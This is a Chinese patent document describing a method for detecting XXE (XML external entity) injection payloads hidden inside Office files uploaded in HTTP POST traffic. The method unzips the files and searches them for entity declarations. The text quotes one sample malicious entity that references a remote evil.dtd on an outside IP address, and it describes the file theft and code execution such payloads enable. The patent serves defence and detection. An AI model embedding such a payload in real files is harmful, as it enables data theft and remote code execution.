一种残膜回收机防缠绕挑膜装置的制 一种秧草收获机用电力驱动行走机构

一种XXE漏洞检测方法、装置、设备及可读存储介质与流程

2021-12-17 21:12:00 来源:中国专利 TAG:

一种xxe漏洞检测方法、装置、设备及可读存储介质
技术领域
1.本发明涉及网络安全技术领域,特别是涉及一种xxe漏洞检测方法、装置、设备以及计算机可读存储介质。


背景技术:

2.随着网络攻击技术的多元化,如何应对多元化网络攻击的检测和利用被提上历程。xxe漏洞是web应用软件安全的威胁之一,xxe漏洞全称xml external entity injection,即xml外部实体注入漏洞,xxe漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、发起dos攻击等危害。
3.针对xxe漏洞,当前的绝大多数检测防护系统,对请求直接包含xxe漏洞利用pyload的能够较为直观的检测出来,但这种检测方式并不能保证所有xxe漏洞能够100%全面检测出来,进而难以保证网络安全性。


技术实现要素:

4.本发明的目的是提供一种xxe漏洞检测方法、装置、设备以及计算机可读存储介质,在一定程度上提升xxe漏洞检测的全面性,提升网络安全性。
5.为解决上述技术问题,本发明提供一种xxe漏洞检测方法,包括:
6.获取网络镜像流量包,并通过所述网络镜像流量包提取请求body中上传文件的文件内容;
7.根据所述文件内容提取office文件;
8.对所述office文件进行解压,以获得明文显示的office解压文件;
9.识别所述office解压文件是否存在xxe漏洞,若是,则所述office文件存在嵌入的xxe漏洞。
10.在本技术的一种可选地实施例中,对所述office文件进行解压,包括:
11.利用360压缩、winrar、zip解压中任意一种压缩解压工具对所述offfice文件进行解压。
12.在本技术的一种可选地实施例中,通过所述网络镜像流量包提取请求body中上传文件的文件内容,包括:
13.提取所述网络镜像流量包中的http协议流量;
14.筛选所述http协议流量中请求头为post类型的http流量;
15.从所述http流量中筛选请求body主体中上传文件的文件内容。
16.在本技术的一种可选地实施例中,识别所述office解压文件是否存在xxe漏洞,包括:
17.通过文本工具搜索识别所述office解压文件中是否带有特定数据帧头格式的代码块,若是,则带头特定数据帧头的代码块为异常代码块,所述异常代码块所属的office文
件为携带有xxe漏洞的文件。
18.在本技术的一种可选地实施例中,识别出所述异常代码块之后,还包括:
19.检索是否存在基于所述异常代码块发出的上传文件请求,若是,则所述异常代码块对应的xxe漏洞攻击成功。
20.本技术还提供了一种xxe漏洞检测装置,包括:
21.第一获取模块,用于获取网络镜像流量包,并通过所述网络镜像流量包提取请求body中上传文件的文件内容;
22.第二获取模块,用于根据所述文件内容提取office文件;
23.文件解压模块,用于对所述office文件进行解压,以获得明文显示的office解压文件;
24.漏洞识别模块,用于识别所述office解压文件是否存在xxe漏洞,若是,则所述office文件存在嵌入的xxe漏洞。
25.在本技术的一种可选地实施例中,所述文件解压模块用于利用360压缩、winrar、zip解压中任意一种压缩解压工具对所述offfice文件进行解压。
26.在本技术的一种可选地实施例中,漏洞识别模块,用于通过notepad 工具搜索所述office解压文件中是否存在异常代码块;若是,则所述office文件存在xxe漏洞。
27.本技术还提供了一种xxe漏洞检测设备,包括:
28.存储器,用于存储计算机程序;
29.处理器,用于执行所述计算机程序时实现如上任一项所述xxe漏洞检测方法的步骤。
30.本技术还提供了一种计算机可读存储介质,所述计算机可读存储介质上存储有计算机程序,所述计算机程序被处理器执行时实现如上任一项所述xxe漏洞检测方法的步骤。
31.本发明所提供的xxe漏洞检测方法包括获取网络镜像流量包,并通过网络镜像流量包提取请求body中上传文件的文件内容;根据文件内容提取office文件;对office文件进行解压,以获得明文显示的office解压文件;识别office解压文件是否存在xxe漏洞,若是,则office文件存在嵌入的xxe漏洞。
32.本技术中考虑到目前常规的检测xxe漏洞的检测主要是针对txt等可明文直观显示的文件数据中是否存在xxe漏洞检测,但是针对office文件等不能够直观显示文件数据内容的文件,其中也可能嵌入xxe漏洞被忽略,而网络一旦被该xxe漏洞攻击,往往会造成极大的网络安全危害。为此,本技术中专门针对office文件这一类xxe漏洞隐藏较深的文件进行漏洞检测,在提取出office文件之后对office文件进行解压,使得其内容转换成明文显示,由此即可直接对进行解压后的office文件进行xxe漏洞检测,从而在一定程度上实现了嵌入隐藏在office文件中的xxe漏洞的检测,提升了xxe漏洞检测的全面性和网络的安全性。
33.本技术中还提供了一种xxe漏洞检测装置、设备以及计算机可读存储介质,具有上述有益效果。
附图说明
34.为了更清楚的说明本发明实施例或现有技术的技术方案,下面将对实施例或现有
技术描述中所需要使用的附图作简单的介绍,显而易见地,下面描述中的附图仅仅是本发明的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。
35.图1为本技术实施例提供的xxe漏洞检测方法的流程示意图;
36.图2为本技术另一实施例提供的xxe漏洞检测方法的流程示意图;
37.图3为本发明实施例提供的xxe漏洞检测装置的结构框图。
具体实施方式
38.在业内进行xxe漏洞检测的技术较多,但基本都是对浏览器数据包中能够直接明文显示文件内容的文件进行漏洞检测。而并不存在涉及针对隐藏嵌入office文件中的xxe漏洞检测的技术方案。
39.对于office文件而言,其文件数据一般是以数据包的形式显示存在的,也即是说其数据内容并不能以明文的形式直接展示出来,如果存在嵌入office文件中携带的xxe漏洞数据,也相对会隐藏的较深而不易察觉,基于目前常规的xxe漏洞检测技术也无法直接检测出xxe漏洞数据。
40.并且对于隐藏于office文件的xxe漏洞数据,业内基本尚未意识到存在这一漏洞问题,而一旦office文件中的xxe漏洞数据对本地系统文件进行攻击,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
41.由此可见,隐藏于office文件中的xxe漏洞数据是目前业内容易忽视而一旦存在又危害极大的漏洞问题。为此本技术中提出了一种能够将隐藏以office文件中的漏洞数据进行有效检测的技术方案,提升网络安全性。
42.为了使本技术领域的人员更好地理解本发明方案,下面结合附图和具体实施方式对本发明作进一步的详细说明。显然,所描述的实施例仅仅是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本发明保护的范围。
43.如图1所示,图1为本技术实施例提供的xxe漏洞检测方法的流程示意图,该方法可以包括:
44.s11:获取网络镜像流量包,并通过网络镜像流量包提取请求body中上传文件的文件内容。
45.对于存在xxe漏洞的文件主要来源于外部实体的注入,而外部实体相关文件数据,主要包含在网络镜像流量包,也即是浏览器数据包中。
46.在实际进行请求body主体上传文件的文件内容提取过程中,可以按照以下方式进行文件内容提取:
47.先提取网络镜像流量包中的http协议流量;网络镜像流量包中含有不同协议的流量,只提取出相应的http协议流量,以及能够通过导入tls证书解密成http协议流量的https协议流量;
48.再筛选http协议流量中请求头为post类型的流量;http协议流量中可以包含请求
头为get、post、put等等类型的流量,本实施例中仅仅筛选出其中请求头为post类型的http协议流量;
49.从http流量中筛选请求body主体中上传文件的文件内容;body主体部分有json、文件内容等请求主题,只筛选出其中请求body主体含文件内容的部分,再提取出请求body的含文件内容中上传文件的文件内容,显然该上传文件的文件内容也即是相当于注入的外部实体,且主要是office文件这一类以数据包这种非明文显示的文件。
50.s12:根据文件内容提取office文件。
51.s13:对office文件进行解压,以获得明文显示的office解压文件。
52.需要说明的是,本实施例中对office文件的解压,可以采用目前较为常用的各种压缩解压工具进行解压,例如:360压缩、winrar、zip解压等等各种市面上通用的解压工具都可以用于对本实施例中的office文件进行解压,只要是服务器上携带有任意一种解压工具,直接调用该解压工具即可。
53.当然,本实施例中也并不排除在检测office文件中xxe漏洞的程序中直接嵌入解压算法,该解压算法可以和常规解压工具进行文件解压的程序算法完全相同或类似,仅仅存在适应性的改变。
54.另外,需要注意的是,在大多数情况下,解压工具进行解压的文件是先进行了压缩的压缩文件。但本实施例中的office文件并不是压缩文件,仅仅是其内容并不是明文显示的数据包,本实施例中解压的是本身不是压缩文件的office文件,解压的主要目的也并不在于将压缩文件解压为非压缩文件,而在于将文本内容以数据包这种非明文显示的office文件转换为以明文显示的形式,那么对于解压后的office文件也就在一定程度上转换成和常规检测xxe漏洞的检测对象文件类似的形式,为后续识别xxe漏洞识别提供便利。
55.s14:识别office解压文件是否存在xxe漏洞,若是,则office文件存在嵌入的xxe漏洞,若否,则office文件不存在xxe漏洞。
56.如前所述,对于office文件解压后获得的office解压文件,其和常规检测xxe漏洞的检测对象文件类似,内容都是以明文的形式显现的,因此,在对office解压文件进行检测时,可以直接利用常规的漏洞检测方法或者工具即可。
57.以一种具体的实施例为例,可以通过文本工具搜索识别office解压文件中是否带有特定数据帧头格式的代码块,若是,则带头特定数据帧头的代码块为异常代码块,异常代码块所属的office文件为携带有xxe漏洞的文件。
58.例如,可以采用notepad 工具对office解压文件的代码进行搜索识别异常代码块的识别。对于利用xxe漏洞嵌入的异常代码块都具有特定数据帧头,如异常代码块为<[!entity%asd system"http://139.196.93.25/xxxxxxxxxxxxxe/evil.dtd">%asd;%c;]>;在利用文本工具进行异常代码块进行识别时,可以以<[!entity%]>等特定的数据帧头格式作为异常代码块的识别依据。
[0059]
以上述异常代码块为例,该异常代码块到嵌入microsoft office文档中,也就即是在microsoft office文档中嵌入了一个类似于病毒网站的网址,接收到该microsoft office文档的本地主机在运行读取microsoft office文档中的数据时,可能会向该病毒网站发起dtd的请求,若发起请求成功,本地主机即可通过该病毒网站下载甚至运行病毒程序,会对本地主机的中的数据、文件进行窃取甚至控制,为本地主机造成极大的安全隐患。
[0060]
当然,需要说明的是,对于office文件中嵌入的xxe漏洞对应的异常代码块并不是其传输至本地主机就必然会成功对本地主机进行利用攻击,关键还是在于本地主机是否对异常代码块中的网站网址发起访问并发出上传文件的请求,若未进行上传文件的请求,显然,并不会对本地主机造成实质性的损害,反之则直接威胁本地主机的安全性。
[0061]
为此,在本技术的另一可选地实施例中,在识别出异常代码块之后,还进一步地的包括:
[0062]
检索是否存在基于异常代码块发出的上传文件请求,若是,则异常代码块对应的xxe漏洞攻击成功。
[0063]
可以对接收到该异常代码块之后本地主机依次访问的各个网站进行检索,若存在对和异常代码块中携带的网站网址相同的网站的上传文件的请求,则说明该xxe漏洞攻击成功,也就需要进一步地对本地主机进行下一步的杀毒处理,具体可以调用本地主机中已有的杀毒程度或者在显示屏上显示告知用户本地主机被xxe漏洞攻击,以便用户及时采取补救措施。
[0064]
综上所述,本技术中考虑到在各个网站的流量包中的文件中office文件的内容是以数据包这种非明文的形式存在,无法直接读取其具体数据内容,因此,在提取获得office文件之后,对office文件进行解压,获得以明文显示的文件内容,进而使得office文件中的xxe漏洞能够直接被识别到进而实现了offfice文件中的xxe漏洞识别,提升了xxe漏洞识别的准确性和全面性,有利于提升xxe漏洞识别的准确性。
[0065]
基于上述任意实施例,为了更详细的说明本技术中检测xxe漏洞的方法过程,参照图2,图2为本技术另一实施例提供的xxe漏洞检测方法的流程示意图,在本技术的另一可选的实施例中,xxe漏洞检测方法的过程可以包括:
[0066]
步骤1:获取网络镜像流量包,获取需要检测的资产范围内web服务的所有网络镜像流量包。
[0067]
步骤2:提取网络镜像流量包中的http协议流量。
[0068]
步骤3:筛选http协议流量中请求头为post类型的流量。
[0069]
步骤4:筛选post类型中的请求body主体含文件内容部分。
[0070]
步骤5:提取出请求body主体中上传文件的文件内容。
[0071]
步骤6:进行文件内容校验,判断上传文件的文件类型是否是office。
[0072]
步骤7:对步骤6中判断出来的文件类型为office的文件进行解压。
[0073]
步骤8:查找并判断解压后的所有文件内容是否存在异常代码块,若有,确定为基于嵌入microsoft office文档的xxe漏洞利用payload文档,并查找是否存在异常代码块对应的上传文件的请求,有则攻击利用成功。
[0074]
步骤9:提供检测结果。
[0075]
下面对本发明实施例提供的xxe漏洞检测装置进行介绍,下文描述的xxe漏洞检测装置与上文描述的xxe漏洞检测方法可相互对应参照。
[0076]
图3为本发明实施例提供的xxe漏洞检测装置的结构框图,参照图3的xxe漏洞检测装置可以包括:
[0077]
第一获取模块100,用于获取网络镜像流量包,并通过网络镜像流量包提取请求body中上传文件的文件内容;
[0078]
第二获取模块200,用于根据文件内容提取office文件;
[0079]
文件解压模块300,用于对office文件进行解压,以获得明文显示的office解压文件;
[0080]
漏洞识别模块400,用于识别office解压文件是否存在xxe漏洞,若是,则office文件存在嵌入的xxe漏洞。
[0081]
在本技术的一种可选地实施例中,文件解压模块300用于利用360压缩、winrar、zip解压中任意一种压缩解压工具对所述offfice文件进行解压。
[0082]
在本技术的另一可选地实施例中,第一获取模块100用于提取所述网络镜像流量包中的http协议流量;筛选所述http协议流量中请求头为post类型的http流量;从所述http流量中筛选请求body主体中上传文件的文件内容。
[0083]
在本技术的一种可选地实施例中,漏洞识别模块400用于通过文本工具搜索识别所述office解压文件中是否带有特定数据帧头格式的代码块,若是,则带头特定数据帧头的代码块为异常代码块,所述异常代码块所属的office文件为携带有xxe漏洞的文件。
[0084]
在本技术的一种可选地实施例中,漏洞识别模块400还用于检索是否存在基于所述异常代码块发出的上传文件请求,若是,则所述异常代码块对应的xxe漏洞攻击成功。
[0085]
本实施例的xxe漏洞检测装置用于实现前述的xxe漏洞检测方法,因此xxe漏洞检测装置中的具体实施方式可见前文中的xxe漏洞检测方法的实施例部分,例如,第一获取模块100,第二获取模块200,文件解压模块300,漏洞识别模块400,分别用于实现上述xxe漏洞检测方法中步骤s11,s12,s13和s14,所以,其具体实施方式可以参照相应的各个部分实施例的描述,在此不再赘述。
[0086]
本技术还提供了一种xxe漏洞检测设备的实施例,该设备可以包括:
[0087]
存储器,用于存储计算机程序;
[0088]
处理器,用于执行所述计算机程序时实现如上任一项所述xxe漏洞检测方法的步骤。
[0089]
该处理器所执行的xxe漏洞检测方法的步骤可以包括:
[0090]
获取网络镜像流量包,并通过所述网络镜像流量包提取请求body中上传文件的文件内容;
[0091]
根据所述文件内容提取office文件;
[0092]
对所述office文件进行解压,以获得明文显示的office解压文件;
[0093]
识别所述office解压文件是否存在xxe漏洞,若是,则所述office文件存在嵌入的xxe漏洞。
[0094]
本实施例的xxe漏洞检测设备中的处理器通过运行存储器中存储的xxe漏洞检测方法的程序,能够实现对本地主机上通过网络上传获得的文件中office文件中的xxe漏动进行识别,进而弥补了目前无法识别office文件中的xxe漏洞的缺陷,在一定程度上提升了xxe漏洞识别的准确性和全面性,有利于提升网络安全性。
[0095]
本技术还包括一种计算机可读存储介质,该计算机可读存储介质上存储有计算机程序,计算机程序被处理器执行时实现如上任一项所述xxe漏洞检测方法的步骤。
[0096]
该计算机可读存储介质可以包括随机存储器(ram)、内存、只读存储器(rom)、电可编程rom、电可擦除可编程rom、寄存器、硬盘、可移动磁盘、cd

rom、或技术领域内所公知的
任意其它形式的存储介质中。
[0097]
需要说明的是,在本文中,诸如第一和第二等之类的关系术语仅仅用来将一个实体或者操作与另一个实体或操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。而且,术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、物品或者设备所固有的要素。在没有更多限制的情况下,由语句“包括一个
……”
限定的要素,并不排除在包括所述要素的过程、方法、物品或者设备中还存在另外的相同要素。另外,本技术实施例提供的上述技术方案中与现有技术中对应技术方案实现原理一致的部分并未详细说明,以免过多赘述。
[0098]
本文中应用了具体个例对本发明的原理及实施方式进行了阐述,以上实施例的说明只是用于帮助理解本发明的方法及其核心思想。应当指出,对于本技术领域的普通技术人员来说,在不脱离本发明原理的前提下,还可以对本发明进行若干改进和修饰,这些改进和修饰也落入本发明权利要求的保护范围内。
再多了解一些

本文用于企业家、创业者技术爱好者查询,结果仅供参考。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表

相关文献